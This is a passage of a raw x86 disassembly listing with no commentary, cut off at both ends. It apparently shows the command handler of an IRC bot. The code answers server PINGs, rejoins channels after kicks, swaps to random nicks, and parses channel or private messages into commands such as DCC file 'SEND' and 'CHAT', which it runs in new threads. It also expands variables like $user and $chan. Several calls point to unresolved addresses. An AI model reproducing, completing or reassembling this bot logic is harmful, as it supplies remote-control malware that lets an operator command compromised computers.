dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA64 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA60 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA5C ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9F0 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C99C loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C978 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C95C mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C920 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h nop call near ptr 2670ECEh jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C91C push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C910 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE58 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8F4 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8EC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8D4 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j nop call near ptr 2680930h push eax push offset unk_42C898 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C854 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C82C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 2670ECEh jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 2680930h push eax push offset unk_42C7F4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C7C4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C790 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_42923C, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D160 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42923C jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA64 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D178[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D160[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C74C ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, 